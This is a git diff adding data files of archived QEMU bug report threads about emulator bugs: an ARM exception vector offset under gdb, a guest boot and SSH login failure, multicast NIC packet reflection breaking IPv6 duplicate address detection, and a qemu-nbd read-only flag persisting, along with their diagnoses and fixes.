fault at +>> 0x8 offset instead of 0x4. This was not a problem with qemu 0.13.0, +>> seems like this is a new bug. As as example, if we try to execute +>> value "0xec019800" in qemu 0.14.0 then it should cause undefined +>> exception at <exception_base>+0x4 since "0xec019800" is an undefined +>> instruction. +>> +>> To unsubscribe from this bug, go to: +>> https://bugs.launchpad.net/qemu/+bug/757702/+subscribe +>> +> +> + + +Sorry, I didn't notice the footnote in table A5-22; I see what you mean now. It's still not permanently-UNDEF space though and you'd really be better off using that instead. In any case, qemu does properly UNDEF the instruction so this is a bit of a diversion. + + +> Also, in the test case hits 0x8 after encountering UNDEF instruction at 0x100058. + +So if you run qemu like this: +qemu-system-arm -M realview-pb-a8 -serial stdio -kernel arm_test.elf -s -S + +and run arm-none-gnueabi-gdb with no arguments and in gdb type these commands: + +(gdb) target remote :1234 +Remote debugging using :1234 +0x00100000 in ?? () +(gdb) break *0x4 +Breakpoint 1 at 0x4 +(gdb) break *0x8 +Breakpoint 2 at 0x8 +(gdb) c +Continuing. + +...what does gdb do? +(For me it says "Breakpoint 1, 0x00000004 in ?? ()" which is what I expect.) + + +I see 0x00000008 (). + +I am using qemu-0.14.0.tar.gz available for QEMU Downloads. + +--Anup + +On Tue, Apr 12, 2011 at 5:12 PM, Peter Maydell <email address hidden>wrote: + +> > Also, in the test case hits 0x8 after encountering UNDEF instruction +> at 0x100058. +> +> So if you run qemu like this: +> qemu-system-arm -M realview-pb-a8 -serial stdio -kernel arm_test.elf -s -S +> +> and run arm-none-gnueabi-gdb with no arguments and in gdb type these +> commands: +> +> (gdb) target remote :1234 +> Remote debugging using :1234 +> 0x00100000 in ?? () +> (gdb) break *0x4 +> Breakpoint 1 at 0x4 +> (gdb) break *0x8 +> Breakpoint 2 at 0x8 +> (gdb) c +> Continuing. +> +> ...what does gdb do? +> (For me it says "Breakpoint 1, 0x00000004 in ?? ()" which is what I +> expect.) +> +> -- +> You received this bug notification because you are a direct subscriber +> of the bug. +> https://bugs.launchpad.net/bugs/757702 +> +> Title: +> Undefined instruction exception starts at offset 0x8 instead of 0x4 +> +> Status in QEMU: +> New +> +> Bug description: +> ARMv7a has lot of undefined instruction from its instruction opcode +> space. This undefined instructions are very useful for replacing +> sensitive non-priviledged instructions of guest operating systems +> (virtualization). The undefined instruction exception executes at +> <exception_base> + 0x4, where <exception_base> can be 0x0 or +> 0xfff00000. Currently, in qemu 0.14.0 undefined instruction fault at +> 0x8 offset instead of 0x4. This was not a problem with qemu 0.13.0, +> seems like this is a new bug. As as example, if we try to execute +> value "0xec019800" in qemu 0.14.0 then it should cause undefined +> exception at <exception_base>+0x4 since "0xec019800" is an undefined +> instruction. +> +> To unsubscribe from this bug, go to: +> https://bugs.launchpad.net/qemu/+bug/757702/+subscribe +> + + +Try this out one last time. I am sure you will be able to replicate the +problem. + +Run qemu like this: +qemu-system-arm -M realview-pb-a8 -serial stdio -kernel arm_test.elf -s -S + +and run arm-none-gnueabi-gdb with no arguments and in gdb type these +commands: + +(gdb) target remote :1234 +Remote debugging using :1234 +0x00100000 in ?? () +(gdb) si +0x00100054 in ?? () +(gdb) si +0x00100054 in ?? () +(gdb) si +0x00000008 in ?? () + +(I expect it to jump to 0x00000004 after 0x00100054) + +--Anup + +On Tue, Apr 12, 2011 at 5:40 PM, Anup Patel +<email address hidden>wrote: + +> I see 0x00000008 (). +> +> I am using qemu-0.14.0.tar.gz available for QEMU Downloads. +> +> --Anup +> +> +> On Tue, Apr 12, 2011 at 5:12 PM, Peter Maydell <email address hidden>wrote: +> +>> > Also, in the test case hits 0x8 after encountering UNDEF instruction +>> at 0x100058. +>> +>> So if you run qemu like this: +>> qemu-system-arm -M realview-pb-a8 -serial stdio -kernel arm_test.elf -s -S +>> +>> and run arm-none-gnueabi-gdb with no arguments and in gdb type these +>> commands: +>> +>> (gdb) target remote :1234 +>> Remote debugging using :1234 +>> 0x00100000 in ?? () +>> (gdb) break *0x4 +>> Breakpoint 1 at 0x4 +>> (gdb) break *0x8 +>> Breakpoint 2 at 0x8 +>> (gdb) c +>> Continuing. +>> +>> ...what does gdb do? +>> (For me it says "Breakpoint 1, 0x00000004 in ?? ()" which is what I +>> expect.) +>> +>> -- +>> You received this bug notification because you are a direct subscriber +>> of the bug. +>> https://bugs.launchpad.net/bugs/757702 +>> +>> Title: +>> Undefined instruction exception starts at offset 0x8 instead of 0x4 +>> +>> Status in QEMU: +>> New +>> +>> Bug description: +>> ARMv7a has lot of undefined instruction from its instruction opcode +>> space. This undefined instructions are very useful for replacing +>> sensitive non-priviledged instructions of guest operating systems +>> (virtualization). The undefined instruction exception executes at +>> <exception_base> + 0x4, where <exception_base> can be 0x0 or +>> 0xfff00000. Currently, in qemu 0.14.0 undefined instruction fault at +>> 0x8 offset instead of 0x4. This was not a problem with qemu 0.13.0, +>> seems like this is a new bug. As as example, if we try to execute +>> value "0xec019800" in qemu 0.14.0 then it should cause undefined +>> exception at <exception_base>+0x4 since "0xec019800" is an undefined +>> instruction. +>> +>> To unsubscribe from this bug, go to: +>> https://bugs.launchpad.net/qemu/+bug/757702/+subscribe +>> +> +> + + +Hi, + +Were you able to replicate the problem with the steps that I had mentioned ? +The key thing is is if you don't set breakpoint at 0x4 or 0x8 just follow +the execution flow using "si" command of GDB. +You will definitely hit the problem. + +--Anup + +On Tue, Apr 12, 2011 at 5:57 PM, Anup Patel +<email address hidden>wrote: + +> Try this out one last time. I am sure you will be able to replicate the +> problem. +> +> Run qemu like this: +> qemu-system-arm -M realview-pb-a8 -serial stdio -kernel arm_test.elf -s -S +> +> and run arm-none-gnueabi-gdb with no arguments and in gdb type these +> commands: +> +> (gdb) target remote :1234 +> Remote debugging using :1234 +> 0x00100000 in ?? () +> (gdb) si +> 0x00100054 in ?? () +> (gdb) si +> 0x00100054 in ?? () +> (gdb) si +> 0x00000008 in ?? () +> +> (I expect it to jump to 0x00000004 after 0x00100054) +> +> --Anup +> +> On Tue, Apr 12, 2011 at 5:40 PM, Anup Patel <<email address hidden> +> > wrote: +> +>> I see 0x00000008 (). +>> +>> I am using qemu-0.14.0.tar.gz available for QEMU Downloads. +>> +>> --Anup +>> +>> +>> On Tue, Apr 12, 2011 at 5:12 PM, Peter Maydell <email address hidden>wrote: +>> +>>> > Also, in the test case hits 0x8 after encountering UNDEF instruction +>>> at 0x100058. +>>> +>>> So if you run qemu like this: +>>> qemu-system-arm -M realview-pb-a8 -serial stdio -kernel arm_test.elf -s +>>> -S +>>> +>>> and run arm-none-gnueabi-gdb with no arguments and in gdb type these +>>> commands: +>>> +>>> (gdb) target remote :1234 +>>> Remote debugging using :1234 +>>> 0x00100000 in ?? () +>>> (gdb) break *0x4 +>>> Breakpoint 1 at 0x4 +>>> (gdb) break *0x8 +>>> Breakpoint 2 at 0x8 +>>> (gdb) c +>>> Continuing. +>>> +>>> ...what does gdb do? +>>> (For me it says "Breakpoint 1, 0x00000004 in ?? ()" which is what I +>>> expect.) +>>> +>>> -- +>>> You received this bug notification because you are a direct subscriber +>>> of the bug. +>>> https://bugs.launchpad.net/bugs/757702 +>>> +>>> Title: +>>> Undefined instruction exception starts at offset 0x8 instead of 0x4 +>>> +>>> Status in QEMU: +>>> New +>>> +>>> Bug description: +>>> ARMv7a has lot of undefined instruction from its instruction opcode +>>> space. This undefined instructions are very useful for replacing +>>> sensitive non-priviledged instructions of guest operating systems +>>> (virtualization). The undefined instruction exception executes at +>>> <exception_base> + 0x4, where <exception_base> can be 0x0 or +>>> 0xfff00000. Currently, in qemu 0.14.0 undefined instruction fault at +>>> 0x8 offset instead of 0x4. This was not a problem with qemu 0.13.0, +>>> seems like this is a new bug. As as example, if we try to execute +>>> value "0xec019800" in qemu 0.14.0 then it should cause undefined +>>> exception at <exception_base>+0x4 since "0xec019800" is an undefined +>>> instruction. +>>> +>>> To unsubscribe from this bug, go to: +>>> https://bugs.launchpad.net/qemu/+bug/757702/+subscribe +>>> +>> +>> +> + + +> Were you able to replicate the problem with the steps that I had mentioned ? +> The key thing is is if you don't set breakpoint at 0x4 or 0x8 just follow +> the execution flow using "si" command of GDB. +> You will definitely hit the problem. + +Ah, I had to find a different gdb to reproduce this with (arm-none-eabi-gdb from the 2010.09 codesourcery toolchain). That gdb does single-step-insn by asking the target to single step, and you get the behaviour above. The gdb I was using does single-step-insn by setting breakpoints at where it thinks the next insn will be, which means that "si" on the UNDEF never returns because gdb has set a bp at 0x10005c which we of course never hit. With the codesourcery gdb I see 'si' having the behaviour you describe above. + +However: + +(gdb) target remote :1234 +Remote debugging using :1234 +0x00100000 in ?? () +(gdb) break *0x4 +Breakpoint 1 at 0x4 +(gdb) si +0x00100054 in ?? () +(gdb) si +0x00100058 in ?? () +(gdb) si + +Breakpoint 1, 0x00000004 in ?? () + +ie if we set an explicit breakpoint at 0x4 we do hit it. I think it's just that the singlestep doesn't do what you expect: instead of stopping before we execute the instruction at the UNDEF vector, we first execute it and then stop afterwards [this sort of makes a twisted kind of sense if you think about it -- we never actually executed the UNDEF insn because we took the exception first, so single-step executes exactly one instruction which is the one at 0x4. However it's hopelessly confusing for the user so I'd consider it a bug.] + +Can you confirm that if you set the breakpoint as I do in the transcript above you see the same output? + +So I think that what is happening here is that misbehaviour by qemu's gdb interface is confusing you, rather than the actual qemu ARM implementation being wrong. + +If you revise your test program so that it installs some actual code into the vectors rather than leaving them all as NOPs I think this will be more obvious. + + +I think you are right. This seems to be more of a GDB issue. + +Any ways thanks for your support. + +--Anup + +On Wed, Apr 13, 2011 at 5:24 PM, Peter Maydell <email address hidden>wrote: + +> > Were you able to replicate the problem with the steps that I had +> mentioned ? +> > The key thing is is if you don't set breakpoint at 0x4 or 0x8 just follow +> > the execution flow using "si" command of GDB. +> > You will definitely hit the problem. +> +> Ah, I had to find a different gdb to reproduce this with (arm-none-eabi- +> gdb from the 2010.09 codesourcery toolchain). That gdb does single-step- +> insn by asking the target to single step, and you get the behaviour +> above. The gdb I was using does single-step-insn by setting breakpoints +> at where it thinks the next insn will be, which means that "si" on the +> UNDEF never returns because gdb has set a bp at 0x10005c which we of +> course never hit. With the codesourcery gdb I see 'si' having the +> behaviour you describe above. +> +> However: +> +> (gdb) target remote :1234 +> Remote debugging using :1234 +> 0x00100000 in ?? () +> (gdb) break *0x4 +> Breakpoint 1 at 0x4 +> (gdb) si +> 0x00100054 in ?? () +> (gdb) si +> 0x00100058 in ?? () +> (gdb) si +> +> Breakpoint 1, 0x00000004 in ?? () +> +> ie if we set an explicit breakpoint at 0x4 we do hit it. I think it's +> just that the singlestep doesn't do what you expect: instead of stopping +> before we execute the instruction at the UNDEF vector, we first execute +> it and then stop afterwards [this sort of makes a twisted kind of sense +> if you think about it -- we never actually executed the UNDEF insn +> because we took the exception first, so single-step executes exactly one +> instruction which is the one at 0x4. However it's hopelessly confusing +> for the user so I'd consider it a bug.] +> +> Can you confirm that if you set the breakpoint as I do in the transcript +> above you see the same output? +> +> So I think that what is happening here is that misbehaviour by qemu's +> gdb interface is confusing you, rather than the actual qemu ARM +> implementation being wrong. +> +> If you revise your test program so that it installs some actual code +> into the vectors rather than leaving them all as NOPs I think this will +> be more obvious. +> +> -- +> You received this bug notification because you are a direct subscriber +> of the bug. +> https://bugs.launchpad.net/bugs/757702 +> +> Title: +> Undefined instruction exception starts at offset 0x8 instead of 0x4 +> +> Status in QEMU: +> New +> +> Bug description: +> ARMv7a has lot of undefined instruction from its instruction opcode +> space. This undefined instructions are very useful for replacing +> sensitive non-priviledged instructions of guest operating systems +> (virtualization). The undefined instruction exception executes at +> <exception_base> + 0x4, where <exception_base> can be 0x0 or +> 0xfff00000. Currently, in qemu 0.14.0 undefined instruction fault at +> 0x8 offset instead of 0x4. This was not a problem with qemu 0.13.0, +> seems like this is a new bug. As as example, if we try to execute +> value "0xec019800" in qemu 0.14.0 then it should cause undefined +> exception at <exception_base>+0x4 since "0xec019800" is an undefined +> instruction. +> +> To unsubscribe from this bug, go to: +> https://bugs.launchpad.net/qemu/+bug/757702/+subscribe +> + + +> I think you are right. This seems to be more of a GDB issue. + +The debug stub is still part of QEMU, so let's not close this bug just yet :-) + + +Triaging old bug tickets ... can you somehow still reproduce this problem with the latest version of QEMU (currently v2.9), or could we close this ticket nowadays? + +[Expired for QEMU because there has been no activity for 60 days.] + +This is still a bug, we shouldn't have let it expire. + + +Fix has been included here: +https://git.qemu.org/?p=qemu.git;a=commitdiff;h=ba3c35d9c4026361fd3 + diff --git a/results/classifier/deepseek-1/output/QEMU.}/886255 b/results/classifier/deepseek-1/output/QEMU.}/886255 new file mode 100644 index 00000000..158d0e3c --- /dev/null +++ b/results/classifier/deepseek-1/output/QEMU.}/886255 @@ -0,0 +1,114 @@ + +Qemu master branch - RHEL 6.1 guest fails to boot + +Guest: RHEL 6.1 64 bit DVD + +Kernel: Latest Fedora, also reproduces with Avi's kvm.git kernel based on 3.1: 2.6.40.6-0.fc15.x86_64 + +qemu version: + +11/04 00:25:30 DEBUG|virt_utils:2587| Git repo qemu uri: git://git.qemu.org/qemu.git +11/04 00:25:30 DEBUG|virt_utils:2590| Git repo qemu branch: master +11/04 00:25:30 DEBUG|virt_utils:3189| Configure options for git_repo_qemu: ['--target-list=x86_64-softmmu'] +11/04 00:25:30 DEBUG|virt_utils:2496| Initializing new git repo at /usr/local/autotest/tests/kvm/src/qemu for receiving git repo 11/04 00:25:30 INFO |virt_utils:2505| Fetching git [REP 'git://git.qemu.org/qemu.git' BRANCH 'master'] -> /usr/local/autotest/tests/kvm/src/qemu +11/04 00:25:30 DEBUG|base_utils:0074| Running 'git fetch -q -f -u -t git://git.qemu.org/qemu.git master:master' +11/04 00:34:41 INFO |virt_utils:2531| Commit hash for qemu is 932eacc158c064935c7bab920c88a93a629e1ca4 (no tag found) + +On guest boot screenshots (one of them attached), you can see the message + +"Bringing up interface eth0: Device eth0 does not seem to be present, delaying initialization" + +Network card info +11/04 00:44:55 DEBUG| virt_test:0041| bridge = virbr0 +11/04 00:44:55 DEBUG| virt_test:0041| nic_mode = tap +11/04 00:44:55 DEBUG| virt_test:0041| nic_model = virtio + +Commented excerpt of the test log: + +11/04 00:44:57 INFO | kvm_vm:0790| Running qemu command: +/usr/local/autotest/tests/kvm/qemu -name 'vm1' -nodefaults -vga std -monitor unix:'/tmp/monitor-humanmonitor1-20111104-003602-LPJY',server,nowait -qmp unix:'/tmp/monitor-qmpmonitor1-20111104-003602-LPJY',server,nowait -serial unix:'/tmp/serial-20111104-003602-LPJY',server,nowait -drive file='/tmp/kvm_autotest_root/images/rhel6.1-64.qcow2',index=0,if=virtio,cache=none -device virtio-net-pci,netdev=id3HQgQx,mac='9a:16:a5:3c:05:25',id='id0AfUVE' -netdev tap,id=id3HQgQx,fd=23 -m 2048 -smp 2 -vnc :0 -enable-kvm +11/04 00:44:59 DEBUG|kvm_monito:0624| (monitor qmpmonitor1) Sending command 'qmp_capabilities' +11/04 00:44:59 DEBUG| kvm_vm:0851| VM appears to be alive with PID 9827 +11/04 00:44:59 DEBUG|virt_env_p:0318| Starting screendump thread +11/04 00:44:59 DEBUG| virt_vm:0654| Attempting to log into 'vm1' (timeout 720s) + +... here it starts booting ... + +11/04 00:44:59 DEBUG| virt_vm:0660| Cannot find IP address for MAC address 9a:16:a5:3c:05:25 +11/04 00:45:01 DEBUG| virt_vm:0660| Cannot find IP address for MAC address 9a:16:a5:3c:05:25 +11/04 00:45:03 DEBUG| virt_vm:0660| Cannot find IP address for MAC address 9a:16:a5:3c:05:25 +11/04 00:45:05 DEBUG| virt_vm:0660| Cannot find IP address for MAC address 9a:16:a5:3c:05:25 +11/04 00:45:07 DEBUG| virt_vm:0660| Cannot find IP address for MAC address 9a:16:a5:3c:05:25 +11/04 00:45:09 DEBUG| virt_vm:0660| Cannot find IP address for MAC address 9a:16:a5:3c:05:25 +11/04 00:45:11 DEBUG| virt_vm:0660| Cannot find IP address for MAC address 9a:16:a5:3c:05:25 +11/04 00:45:13 DEBUG| virt_vm:0660| Cannot find IP address for MAC address 9a:16:a5:3c:05:25 +11/04 00:45:15 DEBUG| virt_vm:0660| Cannot find IP address for MAC address 9a:16:a5:3c:05:25 +11/04 00:45:17 DEBUG| virt_vm:0660| Cannot find IP address for MAC address 9a:16:a5:3c:05:25 +11/04 00:45:19 DEBUG| virt_vm:0660| Cannot find IP address for MAC address 9a:16:a5:3c:05:25 +11/04 00:45:21 DEBUG| virt_vm:0660| Cannot find IP address for MAC address 9a:16:a5:3c:05:25 +11/04 00:45:23 DEBUG| virt_vm:0660| Cannot find IP address for MAC address 9a:16:a5:3c:05:25 + +... here it gets an IP from the DHCP server ... + +11/04 00:45:24 DEBUG|virt_env_p:0438| (address cache) Adding cache entry: 9a:16:a5:3c:05:25 ---> 192.168.122.195 + +... ok, let's try to login ... + +11/04 00:45:25 DEBUG|virt_utils:0710| Trying to login with command 'ssh -o UserKnownHostsFile=/dev/null -o PreferredAuthentications=password -p 22 root@192.168.122.195' + +... ouch, not possible to login ... + +11/04 00:45:25 DEBUG| virt_vm:0660| Client said 'connection refused' (output: 'ssh: connect to host 192.168.122.195 port 22: Connection refused\n') + +... message above repeats until ... + +11/04 00:56:59 ERROR| virt_test:0095| Test failed: LoginError: Client said 'connection refused' (output: 'ssh: connect to host 192.168.122.195 port 22: Connection refused\n') +11/04 00:56:59 DEBUG|virt_env_p:0147| Postprocessing VM 'vm1' +11/04 00:56:59 DEBUG|virt_env_p:0166| Param 'kill_vm' specified, killing VM +11/04 00:56:59 DEBUG| kvm_vm:0885| Destroying VM with PID 9827 +11/04 00:56:59 DEBUG| kvm_vm:0889| Trying to shutdown VM with shell command +11/04 00:56:59 DEBUG|virt_utils:0710| Trying to login with command 'ssh -o UserKnownHostsFile=/dev/null -o PreferredAuthentications=password -p 22 root@192.168.122.195' +11/04 00:56:59 DEBUG| kvm_vm:0893| Client said 'connection refused' (output: 'ssh: connect to host 192.168.122.195 port 22: Connection refused\n') +11/04 00:56:59 DEBUG| kvm_vm:0908| Trying to kill VM with monitor command +11/04 00:56:59 INFO | aexpect:0783| [qemu output] (Process terminated with status 0) +11/04 00:57:00 DEBUG| kvm_vm:0916| VM is down +11/04 00:57:00 DEBUG| virt_vm:0318| Checking image file /tmp/kvm_autotest_root/images/rhel6.1-64.qcow2 +11/04 00:57:00 DEBUG|base_utils:0074| Running '/usr/local/autotest/tests/kvm/qemu-img' +11/04 00:57:00 DEBUG|base_utils:0074| Running '/usr/local/autotest/tests/kvm/qemu-img info /tmp/kvm_autotest_root/images/rhel6.1-64.qcow2' +11/04 00:57:00 DEBUG|base_utils:0106| [stdout] image: /tmp/kvm_autotest_root/images/rhel6.1-64.qcow2 +11/04 00:57:00 DEBUG|base_utils:0106| [stdout] file format: qcow2 +11/04 00:57:00 DEBUG|base_utils:0106| [stdout] virtual size: 10G (10737418240 bytes) +11/04 00:57:00 DEBUG|base_utils:0106| [stdout] disk size: 2.1G +11/04 00:57:00 DEBUG|base_utils:0106| [stdout] cluster_size: 65536 +11/04 00:57:00 DEBUG|base_utils:0074| Running '/usr/local/autotest/tests/kvm/qemu-img check /tmp/kvm_autotest_root/images/rhel6.1-64.qcow2' + + + +We are currently investigating the failure. One of our suspects is that on kvm autotest, each new qemu process instance might have a new NIC mac address, and that might be triggering some condition in qemu in conjunction to the guest init scripts. + +It is important to note that this problem does not affect qemu-kvm.git, or RHEL based branches for that matter. + +I can't reproduce this with an Ubuntu guest. I suspect it has something to do with how you're configuring networking. + +A little more investigation shows that empty ssh keys are being generated on the first boot, so now it doesn't look like a network problem anymore. now we are trying to figure out just on qemu this phenomenon is happening. + +We've identified that the following commit resolved the issue + + commit 47113ab6b8c5659ad94c69aacca572f731ebb0ac + Author: Wen Congyang <email address hidden> + Date: Fri Nov 4 10:45:58 2011 +0800 + reenable vm_clock when resuming all vcpus + + We disable vm_clock when pausing all vcpus, but we forget to + reenable it when resuming all vcpus. It will cause that the + guest can not be rebooted. + + Tested-by: Zhi Yong Wu <email address hidden> + Reviewed-by: Paolo Bonzini <email address hidden> + Signed-off-by: Wen Congyang <email address hidden> + Signed-off-by: Anthony Liguori <email address hidden> + +That's good, you can close the issue. + +Marking as fixed, according to comment #5 + diff --git a/results/classifier/deepseek-1/output/QEMU/761469 b/results/classifier/deepseek-1/output/QEMU/761469 new file mode 100644 index 00000000..d8ca50f7 --- /dev/null +++ b/results/classifier/deepseek-1/output/QEMU/761469 @@ -0,0 +1,164 @@ + +multicast VPN breaks IPv6 Duplicate Address Detection + +The multicast VPN facility in Qemu uses Multicast Loopback to make sure that other Qemu processes on the Host server receive the transmission. The side effect of this is that the process sending the packet also gets the packet back on its receive channel and currently this is not filtered but passed directly to the Virtual Machine. + +You can see this effect by running tcpdump in the virtual machine. Every packet sent appears to be duplicated. + +For IPv4 it doesn't appear to cause much of a problem, however with IPv6 the duplicate neighbor solicitation packet is precisely what the system uses to detect duplicate addresses. So IPv6 addresses fail to establish. + +If you run 'ip addr' on a virtual Linux machine with IPv6 enabled you will see 'dadfailed' next to the link local address. 'ping6' will then not work. + +Checked against 0.12.1. + +Description of problem: + +Virtual NIC of type "mcast" receives copies of what it sent, resulting in many disastrous behaviors if you add one to a Linux software ethernet bridge. + +Version-Release number of selected component (if applicable): + + +How reproducible: + +Always. + + +Steps to Reproduce: +1. create a kvm/qemu guest with an mcast NIC as eth0 +2. create a bridge br0 in the guest, enabling STP +3. add eth0 to br0 as its only slave + +Actual results: + +Once STP starts sending frames, the host starts reporting: + +eth0: received packet with own address as source address + +Expected results: + +eth0 should not receive copies of what it sends. + +Additional info: + +This happens as above when the NIC goes into promiscuous mode. I have not bothered to verify whether it happens for multicast or broadcast traffic in non-promiscuous mode. + +Things become more obvious and destructive if you add another slave to the bridge. Any incoming broadcast or multicast traffic from the other slave gets bridged into the mcast NIC, reflected back, and creating a kind of psuedo-loop. This confuses the user, upsets everyone on the other LAN, and also confuses the Linux software bridge as it starts falsely discovering all the reflected MACs as if they are reachable behind the mcast NIC. + +With a manually created list of the MAC addresses actually behind the mcast LAN, one can create draconian ebtables filters to drop all reflected packets via a command like: + +ebtables -t nat -A PREROUTING -i ethX --among-src-file ! /etc/mcast-mac-addrs -j dnat --dnat-target DROP + +This will drop the bad frames before they confuse the bridging code, and you end up with a working bridged mcast network. This proves that the problem is reflected packets coming back to the sender via the mcast NIC. + +This would presumably break all IPv6 duplicate address detection, so guests don't work with IPv6? + +I am not using IPv6 in my test environment, so I cannot confirm nor deny. The network goes haywire very rapidly if one does this experiment without the ebtables rule above, leading one to rip cables out of walls as fast as one can. + +It is a great DoS attack on the victim LAN that you bridge into such an mcast tunnel, as it reflects all broadcast traffic such as mDNS and probably confuses hardware switches as well as the Linux software bridge. As such, I won't be performing more detailed tests of this failure mode in my environment! + +Your initial description doesn't entirely make sense. The QEMU 'mcast' nic type is totally isolated from the host network, but in the steps to reproduce you're talking about setting up bridges in the host which implies the 'tap' nic type in QEMU. + +Please provide the exact QEMU command line you are invoking, and the output of 'ifconfig -a', 'brctl show' and 'route -n' on the host OS. + +No, I described setting up a bridge in the guest with the mcast NIC! + +So the bug-triggering guest needs only one NIC, eth0, which is defined like this: + + <interface type='mcast'> + <mac address='...'/> + <source address='...' port='5558'/> + </interface> + +(with actual local MAC and multicast address assignments). + +After booting that guest, use brctl to create a bridge br0, and simply slave that virtual eth0 to the bridge (as its only "physical" port). This will exhibit the problem, with no real networks involved. + +When I mentioned the host LAN, I had created a second NIC in a privileged guest, so it had one mcast NIC and one tap NIC already bridged into the host LAN by libvirt. Then that guest bridged its two NICs, allowing other unprivileged guests to use an mcast NIC to participate in the host LAN. Because of this mcast bug, you can only do this once this privileged guest has the severe ebtables workaround I reported. + +But this extra step is unnecessary to demonstrate the bug. It is only interesting in that it does something useful once the ebtables workaround is in place (allowing unprivileged guests to participate in a real LAN). + +This package has changed ownership in the Fedora Package Database. Reassigning to the new owner of this component. + +This package has changed ownership in the Fedora Package Database. Reassigning to the new owner of this component. + + +This bug appears to have been reported against 'rawhide' during the Fedora 13 development cycle. +Changing version to '13'. + +More information and reason for this action is here: +http://fedoraproject.org/wiki/BugZappers/HouseKeeping + +I found this bug too. + +Simple way how to reproduce: + +Run kvm guest 1 and 2, with net something like this: +g1:-net nic,vlan=0,model=virtio,macaddr=52:54:00:00:01:01 -net socket,vlan=0,mcast=239.255.0.1:4097 + +g2: -net nic,vlan=0,model=virtio,macaddr=52:54:00:00:02:01 -net socket,vlan=0,mcast=239.255.0.1:4097 + +This should give you two running vm on same net. + +Now in each guest configure ip addresses: +g1: ifconfig eth0 192.168.1.1 +g2: ifconfig eth0 192.168.1.2 + +now on g2 ping 192.168.1.1 + +and on g1 run tcpdump -i eth0 icmp +and every second you will get: +time ip 192.168.1.2 ... ICMP echo request +time ip 192.168.1.1 ... ICMP echo reply +time ip 192.168.1.1 ... ICMP echo reply + +There shouldn't be two echo replies, but only one. + +Another effect is, that Duplicate Address Detection (for ipv6) simply doesn't work (this is what original bug is talking about). + + +Of course, solution is not to disable loopback for mcast socket, because there must be chance to run more then one VM on same host on same mcast address:port. + +Solution may be to detect sending socket ip:port pair and simply drop packets received from this ip:port. + +Just one extra note, I was able to reproduce this bug on qemu-system-x86-0.13.0-1.fc14.i686 + +Logged as Qemu bug on Launchpad: + +https://bugs.launchpad.net/qemu/+bug/761469 + + +This message is a reminder that Fedora 13 is nearing its end of life. +Approximately 30 (thirty) days from now Fedora will stop maintaining +and issuing updates for Fedora 13. It is Fedora's policy to close all +bug reports from releases that are no longer maintained. At that time +this bug will be closed as WONTFIX if it remains open with a Fedora +'version' of '13'. + +Package Maintainer: If you wish for this bug to remain open because you +plan to fix it in a currently maintained version, simply change the 'version' +to a later Fedora version prior to Fedora 13's end of life. + +Bug Reporter: Thank you for reporting this issue and we are sorry that +we may not be able to fix it before Fedora 13 is end of life. If you +would still like to see this bug fixed and are able to reproduce it +against a later version of Fedora please change the 'version' of this +bug to the applicable version. If you are unable to change the version, +please add a comment here and someone will do it for you. + +Although we aim to fix as many bugs as possible during every release's +lifetime, sometimes those efforts are overtaken by events. Often a +more recent Fedora release includes newer upstream software that fixes +bugs or makes them obsolete. + +The process we are following is described here: +http://fedoraproject.org/wiki/BugZappers/HouseKeeping + +Bug is reproducible on fc14 too + +F14 is end-of-life now. If anyone is still affected by this bug with newer qemu versions, I'd recommend following up in the (still open) upstream bug report mentioned in Comment #10 + +The QEMU project is currently considering to move its bug tracking to another system. For this we need to know which bugs are still valid and which could be closed already. Thus we are setting older bugs to "Incomplete" now. +If you still think this bug report here is valid, then please switch the state back to "New" within the next 60 days, otherwise this report will be marked as "Expired". Or mark it as "Fix Released" if the problem has been solved with a newer version of QEMU already. Thank you and sorry for the inconvenience. + +Since there hasn't been a reply within the last months, I'm closing this now. + diff --git a/results/classifier/deepseek-1/output/Released/1077838 b/results/classifier/deepseek-1/output/Released/1077838 new file mode 100644 index 00000000..f67a1abc --- /dev/null +++ b/results/classifier/deepseek-1/output/Released/1077838 @@ -0,0 +1,187 @@ + +qemu-nbd -r -c taints device for subsequent usage, even after -d + +Something about qemu-nbd -r -c /dev/nbd0 someimg leaves cruft behind - subsequent connections get marked readonly. + +This is on quantal, haven't checked precise or raring. + +To demonstrate: +# use one image +qemu-img create -f qcow2 /tmp/1.qcow2 100M +sudo qemu-nbd -c /dev/nbd2 /tmp/1.qcow2 +sudo mkfs -t ext4 /dev/nbd2 +sudo qemu-nbd -d /dev/nbd2 +# use a second one on the same nbd device, shows that reuse works: +qemu-img create -f qcow2 /tmp/2.qcow2 100M +sudo qemu-nbd -c /dev/nbd2 /tmp/2.qcow2 +sudo mkfs -t ext4 /dev/nbd2 +sudo qemu-nbd -d /dev/nbd2 +# connect an image in read only mode +sudo qemu-nbd -r -c /dev/nbd2 /tmp/2.qcow2 +sudo dumpe2fs /dev/nbd2 | head -n 3 +sudo qemu-nbd -d /dev/nbd2 +# now try to reuse in read-write mode again: +qemu-img create -f qcow2 /tmp/3.qcow2 100M +sudo qemu-nbd -c /dev/nbd2 /tmp/3.qcow2 +sudo mkfs -t ext4 /dev/nbd2 +# here it goes boom: +mke2fs 1.42.5 (29-Jul-2012) +/dev/nbd2: Operation not permitted while setting up superblock +# still need to cleanup +sudo qemu-nbd -d /dev/nbd2 + +Happens on Precise as well. + +Quick code read - I think that this block: + if (flags & NBD_FLAG_READ_ONLY) { + int read_only = 1; + TRACE("Setting readonly attribute"); + + if (ioctl(fd, BLKROSET, (unsigned long) &read_only) < 0) { + int serrno = errno; + LOG("Failed setting read-only attribute"); + return -serrno; + } + } + +in nbd.c should be + { + int read_only = 0; + if (flags & NBD_FLAG_READ_ONLY) + read_only = 1; + TRACE("Setting readonly attribute"); + if (ioctl(fd, BLKROSET, (unsigned long) &read_only) < 0) { + int serrno = errno; + LOG("Failed setting read-only attribute"); + return -serrno; + } + } + + +http://paste.ubuntu.com/1352684/ is a debdiff, uploading the source format 3 patch as well + + + + + +Fixed patch - I had my sense inverted... http://paste.ubuntu.com/1352711/ + +Thanks, this still applies upstream as well. + +To some extent it is a bug in the upstream kernel, which doesn't reset state properly. However, the qemu patch is also good. Thanks! + +Thanks, Paul, I'll cherrypick commit c8969eded252058e90e91f12f75f32aceae46ec9 into the ubuntu packages + +This bug was fixed in the package qemu-kvm - 1.2.0+noroms-0ubuntu4 + +--------------- +qemu-kvm (1.2.0+noroms-0ubuntu4) raring; urgency=low + + [ Serge Hallyn ] + * debian/qemu-kvm.postinst: use udevadm trigger to change /dev/kvm perms as + recommended by Steve Langasek (LP: #1057024) + * apply debian/patches/nbd-fixes-to-read-only-handling.patch from upstream to + make read-write mount after read-only mount work. (LP: #1077838) + + [ Robert Collins ] + * Fix upstart job to succeed if ksm settings can't be altered in the same way + other settings are handled. 